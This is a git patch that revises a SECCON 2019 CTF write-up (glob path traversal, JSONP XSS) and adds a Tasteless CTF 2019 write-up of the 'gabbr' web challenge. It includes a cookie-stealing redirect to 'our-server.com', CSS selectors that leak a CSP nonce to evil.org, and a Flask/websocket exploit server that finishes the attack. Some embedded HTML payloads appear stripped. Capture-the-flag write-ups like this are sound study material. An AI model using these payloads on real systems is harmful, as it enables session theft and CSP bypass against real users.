From efe71b711c974e3c15ee4f991bd791d79b60e6eb Mon Sep 17 00:00:00 2001 From: sumhack Date: Wed, 6 Nov 2019 21:34:50 +0100 Subject: [PATCH] Reorganize writeups --- writeups/sumhack/seccon19.md | 8 +- writeups/sumhack/tasteless19.md | 187 ++++++++++++++++++++++++++++++++ 2 files changed, 191 insertions(+), 4 deletions(-) create mode 100644 writeups/sumhack/tasteless19.md diff --git a/writeups/sumhack/seccon19.md b/writeups/sumhack/seccon19.md index 0a68cdc..6d34166 100644 --- a/writeups/sumhack/seccon19.md +++ b/writeups/sumhack/seccon19.md @@ -26,13 +26,13 @@ At this point I learned that browsers like Chrome and Firefox normalize path tra This worked, but now the server responds with "bad URI". URLs like `fileserver.chal.seccon.jp:9292/public/../public/` seemed to work, though. I went through the source code of WEBrick and found out that it normalizes the path as well before it gets to the app code. If you somehow manage to get the dots around WEBrick, the app code has another check: If the path ends with a slash and contains a dot, it throws a "Bad Request". If we try to open a directory without a trailing slash, it would find no file, then "rescue" the situation by redirecting to the version with trailing slash. So dots for path traversal didn't work. -Fellow colleague @Someone then had the idea to try some of the non-alphanumeric ASCII characters and found out that he can "travel" to root by adding a null byte in front of the path: `fileserver.chal.seccon.jp:9292/%00/tmp/flags/` - this actually worked and gave the listing of the files in `/tmp/flags`, containing the flag file. Now, what's the most obvious thing one could do? `fileserver.chal.seccon.jp:9292/%00/tmp/flags/.txt`. Would be too easy though, right? It didn't work - `path name contains null byte`. +Fellow colleague @Someone then had the idea to try some of the non-alphanumeric ASCII characters and found out that he can "travel" to root by adding a null byte in front of the path: `fileserver.chal.seccon.jp:9292/%00/tmp/flags/` - this actually worked and gave the listing of the files in `/tmp/flags`, containing the flag file. Now, what's the most obvious thing one could do? `fileserver.chal.seccon.jp:9292/%00/tmp/flags/$FLAG_FILE.txt`. Would be too easy though, right? It didn't work - `path name contains null byte`. Now, it was time to check the docs on how the `Dir.glob` function that loads the files actually works. Apparently, there are a few special metacharacters to enable some more thorough search - * for wildcards, ? for single char wildcard, {a,b} for exact matching (either a or b), [ra,rb] for regex matching (either ra or rb) and \\\\ for escaping. Unfortunately, even those were checked by the app and if it detected any of those, it would throw a "Bad Request" error. -The [] and {} had a special feat, though: They would only trigger a bad request if they were also closed. Since the checker only ever checks over the URL once and stops at the first bad character it finds, it's possible to "hide" other bad characters along with it. Because [ came before { in the list, it was possible to use {} as long as a non-closed [ was in the URL. +The sanitizer had some bad issues though. `[]` and `{}` would only trigger a bad request if they were also closed. Also, the checker stops at the first bad character it finds and doesn't check further. It was again user @Someone who figured out that this enables us to "hide" bad characters along with "alibi" bad characters. Example: One could use `{}` as long as there is some `[` in there, simply because it checks for `[` before it checks for `{` and the `[` isn't closed, so the bad request error is never thrown. -After lots of tinkering it was again @Someone who figured out that he could simply bury the [ character inside one of the possible alternatives for the "exact matches" braces. So what he did was this: `{/tmp/flags,[}`. Encoded in a URL, it looked like this: `fileserver.chal.seccon.jp:9292/%7B/tmp/flags/rrPzmPWiFunQ2XkIfeJN80CQixCnGWNS.txt,%5B%7D` +So what he did was this: `{/tmp/flags/$FLAG_FILE.txt,[}`. What this does is it matches either exactly `/tmp/flags` or exactly `[` (and thus, the `[` will help avoid the filter but it will also always be dropped). Encoded in a URL, it looked like this: `fileserver.chal.seccon.jp:9292/%7B/tmp/flags/$FLAG_FILE.txt,%5B%7D` Luckily, this URL worked and it gave us the flag: `SECCON{You_are_the_Globbin'_Slayer}` @@ -44,4 +44,4 @@ The challenge was to craft an XSS URL which would be sent to the admin to reveal Being stuck here, user @Smashing had the idea of trying something with JSONP (an extension for JSON to enable javascript callbacks). Unfortunately, we all didn't know what that was so we dismissed the idea way too quickly and thus got stuck. -After the CTF was over, [https://medium.com/hmif-itb/seccon-2019-writeup-84be9da7a1e9#cbb4](I found a writeup) which explains that JSONP was actually the solution to this challenge: The vuejs code used `$.getJSON` to read the JSON, and if the URL includes the string `callback=`, the request is treated as JSONP and thus, it is possible to execute arbitrary JavaScript. Since it's possible to execute JS, one can just make the admin access any website with the cookie in its url, e.g. `document.location=’http://our-server.com/?c='+document.cookie;//`. When the admin now opens the infected URL which returns the malicious payload, the browser will also perform this redirect and thus send the cookie to the attacker. \ No newline at end of file +After the CTF was over, [https://medium.com/hmif-itb/seccon-2019-writeup-84be9da7a1e9#cbb4](I found a writeup) which explains that JSONP was actually the solution to this challenge: The vuejs code used `$.getJSON` to read the JSON, and if the URL includes the string `callback=`, the request is treated as JSONP and the function will inject whatever code is in the callback into the DOM and execute it without any other frills. Since it's possible to execute JS, one can just make the admin access any website with the cookie in its url, e.g. `document.location='http://our-server.com/?c='+document.cookie;//`. When the admin now opens the infected URL which returns the malicious payload, the browser will also perform this redirect and thus send the cookie to the attacker. \ No newline at end of file diff --git a/writeups/sumhack/tasteless19.md b/writeups/sumhack/tasteless19.md new file mode 100644 index 0000000..5a70fe6 --- /dev/null +++ b/writeups/sumhack/tasteless19.md @@ -0,0 +1,187 @@ +# Tasteless CTF 2019 — gabbr (web) + +This CTF felt very unusual for me because the challenges weren't released all at once, but rather over time. While briefly trying out the crypto-babypad, it got solved by another teammate so I started looking at the web-gabbr challenge together with @chgue, @stiefel40k and @pH. After 5 hours of tirelessly trying out different ways, solutions and workarounds, we were awarded with the satisfying feeling of receiving the flag as the second of 6 teams who solved the challenge. I spent more time on this challenge than I had "reserved" for participating at this CTF, but it was definitely worth it. + +The exploitation part of this writeup was composed together with @chgue, so all that follows will be identical with his writeup. + +## Overview +gabbr is an online chatroom service. Upon loading the page, one joins a chatroom specified in the anchor part of the URL e.g. `https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d`. If no name is specified, a random UUID is generated upon join. The main functionality is to send messages in the chatroom. Furthermore, one can change the username to another randomly generated one, join a new random chatroom and report the chatroom to an admin. Upon reporting an admin joins the chat and stays in the room for 15s. Additionally, the chatroom is based on websockets. + +## Exploitation +### Gathering intelligence (like the NSA 😎) +Messages are not sanitized, i.e. arbitrary HTML can be injected. +However, the CSP policy is rather restrictive: + +```csp +default-src 'self'; script-src 'nonce-cff855cb552d6be6be760496'; frame-src https://www.google.com/recaptcha/; connect-src 'self' xsstest.tasteless.eu https://www.google.com/recaptcha/; worker-src https://www.google.com/recaptcha/; style-src 'unsafe-inline' https://www.gstatic.com/recaptcha/; font-src 'self'; img-src *; report-uri https://xsstest.ctf.tasteless.eu/report-violation; object-src 'none' +``` + +Script tags are only executed if the have the correct `nonce` as an attribute. The nonce is generated server-side on every page load and is specified in the CSP as `script-src 'nonce-cff855cb552d6be6be760496';`. This blocks any other attempts and tricks to execute JavaScript like event handlers. So, to execute JavaScript, one needs to know the 24 characters long `nonce` of the loaded page which we obviously cannot trivially obtain from the admin. What we _can_ do, though, is to load arbitrary CSS and images—`style-src` is set to `unsafe-inline` and `img-src` to `*` which allows for interesting attacks. + +### Getting the nonce +After searching on the web for ideas we stumbled upon this article from 2016: https://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html +The author describes an attack where one can extract the by using CSS: + +* Firstly, one injects a CSS selector which matches the first character of the nonce. +* Upon matching, the CSS selector is set to load a background image from a given URL. Since we know what was matched we can add the matching characters to the request as GET parameters. +* By repeating this process for every character, we can reconstruct the whole nonce with 24 messages. + +This fits perfectly since we can inject arbitrary CSS! Therefore, like proper hackers, we copied his scripts. However, the given selectors did not work. Therefore, we began debugging the selectors on our own. After fruitless attempts trying to match the `script` tag using Chrome we noticed something peculiar: Chrome removes the `nonce` from the `script`-tag after it has been loaded. However, Firefox happily keeps the `nonce` in the DOM. Luckily, the attacker uses Firefox as we found out from the admin's user-agent header. + +Our first approach was to match the `script` tag directly: `script[nonce^="a"]`. This should match any `script`-tag with a nonce that starts with `a`. However, this didn't work as expected. After lots of trial and error we figured out that you can't directly match a `script`-tag, but you can use it as part of the selector when selecting other elements. Therefore, we decided to use a sibling selector like this: `script[nonce^="%s"] ~ nav`. Since `nav` is a sibling of the `script`-tag this worked perfectly. + +Using the above method we can send a message like this: +```css +script[nonce^="0"] ~ nav {background:url("http://evil.org/?match=0")} +script[nonce^="1"] ~ nav {background:url("http://evil.org/?match=1")} +... +script[nonce^="f"] ~ nav {background:url("http://evil.org/?match=f")} +``` +which triggers only if at least one element matches the selector (and as such, only the "correct" request is executed). Suppose the first character is `a`, then our next payload is as follows: +```css +script[nonce^="a0"] ~ nav {background:url("http://evil.org/?match=a0")} +script[nonce^="a1"] ~ nav {background:url("http://evil.org/?match=a1")} +... +script[nonce^="af"] ~ nav {background:url("http://evil.org/?match=af")} +``` +We can repeat this procedure 24 times to exfiltrate the whole nonce. + +We implemented an attack server in python which receives the successful request and sends another message to the chatroom querying the next character as described above. The next payload is sent to the chatroom directly by connecting to the websocket of the chatroom. + +However, upon trying it out we noticed that only the first request was being sent. This is because subsequent CSS injections have the same specificity as the previous CSS rules, that means that the background fetching isn't executed a second time. We solved this problem by manually curating a set of 24 selectors from least to most important: + +```css +script[nonce^="%s"] ~ * +script[nonce^="%s"] ~ ul +script[nonce^="%s"] ~ div +script[nonce^="%s"] ~ input +script[nonce^="%s"] ~ nav +body > script[nonce^="%s"] ~ ul +body > script[nonce^="%s"] ~ div +body > script[nonce^="%s"] ~ input +body > script[nonce^="%s"] ~ nav +script[nonce^="%s"] ~ #messages +script[nonce^="%s"] ~ #status +script[nonce^="%s"] ~ #chatbox +script[nonce^="%s"] ~ #recaptcha +script[nonce^="%s"] ~ nav > a +script[nonce^="%s"] ~ nav > #report-link +script[nonce^="%s"] ~ nav > #username +body script[nonce^="%s"] ~ #messages +body script[nonce^="%s"] ~ #status +body script[nonce^="%s"] ~ #chatbox +body script[nonce^="%s"] ~ #recaptcha +body script[nonce^="%s"] ~ nav > a +body script[nonce^="%s"] ~ nav > #report-link +body script[nonce^="%s"] ~ nav > #username +body script[nonce^="%s"] ~ nav > [href="/"] +body script[nonce^="%s"] ~ nav > [href="#"] +``` + +Putting it all together we managed to get the complete nonce! + +### Creating an exploit +Now that we have the nonce we can inject `script`-tags which bypass the CSP and will be executed. However, directly ínjecting `` does not have any effect because the script isn't being evaluated after the page has loaded. Therefore, to bypass this restriction we include the script inside an `iframe` by specifying it as the `srcdoc`. Our final exploit looks like this: + +```html + +``` +Notice that we are trying to load an image rather than sending a request directly because the latter is blocked by the CSP. Luckily, the CSP allows loading images from any origin. + +### Putting it all together +Our final approach was the following: + +1. Enter a chatroom using Chrome so that we are unaffected by the exploit +2. Start the exploit server pointed at the chatroom +3. Report the chatroom and wait for the admin to join +4. Send the initial CSS payload manually through the browser. +5. Let the server handle the rest + 1. Wait for an http request from the admin + 2. Parse the GET parameter + 3. Send the next CSS payload via websockets to exfiltrate the next 4haracter + 4. Repeat until we have the whole nonce + 5. Send the exploit `iframe` + 6. Listen for the request from the admin containing the cookies containing the flag + 7. ???? + 8. PROFIT!!!! + +Below is the final script that ran on the server: +```py +from flask import Flask, request +import sys +import json +import websocket +import string + +app = Flask(__name__) +URL = "http://evil.org:5000" + +payloads = [ + 'script[nonce^="%s"] ~ *', + 'script[nonce^="%s"] ~ ul', + 'script[nonce^="%s"] ~ div', + 'script[nonce^="%s"] ~ input', + 'script[nonce^="%s"] ~ nav', + 'body > script[nonce^="%s"] ~ ul', + 'body > script[nonce^="%s"] ~ div', + 'body > script[nonce^="%s"] ~ input', + 'body > script[nonce^="%s"] ~ nav', + 'script[nonce^="%s"] ~ #messages', + 'script[nonce^="%s"] ~ #status', + 'script[nonce^="%s"] ~ #chatbox', + 'script[nonce^="%s"] ~ #recaptcha', + 'script[nonce^="%s"] ~ nav > a', + 'script[nonce^="%s"] ~ nav > #report-link', + 'script[nonce^="%s"] ~ nav > #username', + 'body script[nonce^="%s"] ~ #messages', + 'body script[nonce^="%s"] ~ #status', + 'body script[nonce^="%s"] ~ #chatbox', + 'body script[nonce^="%s"] ~ #recaptcha', + 'body script[nonce^="%s"] ~ nav > a', + 'body script[nonce^="%s"] ~ nav > #report-link', + 'body script[nonce^="%s"] ~ nav > #username', + 'body script[nonce^="%s"] ~ nav > [href="/"]', + 'body script[nonce^="%s"] ~ nav > [href="#"]', + ] + +def exploit(nonce, url): + x = """""" % (nonce, url) + msg = {"username" : "aaa", "type": "gabbr-message", "content": x} + print(json.dumps(msg)) + socket.send(json.dumps(msg)) + +def generate_style(c, url): + style = "" + return style + +@app.route('/') +def handler(): + match = request.args.get('match') + print(match) + if len(match) == 24: + exploit(match, URL) + else: + send_req(match) + return "a" + +@app.route('/res') +def res(): + match = request.args.get('c') + print(match) + return "a" + + +def send_req(match): + msg = {"username" : "aaa", "type": "gabbr-message", "content": generate_style(match, URL)} + socket.send(json.dumps(msg)) + +if __name__ == '__main__': + uri = "wss://gabbr.hitme.tasteless.eu/" + sys.argv[1] + socket = websocket.WebSocket() + socket.connect(uri) + print(generate_style("", URL)) # This outputs the initial payload, we did it manually to avoid certain concurrency issues + app.run(host="0.0.0.0") +``` -- 2.43.0